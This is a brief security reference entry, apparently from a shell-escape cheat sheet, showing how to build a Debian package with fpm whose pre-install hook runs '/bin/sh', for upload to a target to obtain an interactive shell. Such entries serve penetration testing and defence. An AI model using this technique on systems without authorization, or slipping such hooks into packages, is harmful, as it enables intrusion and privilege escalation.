It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
```
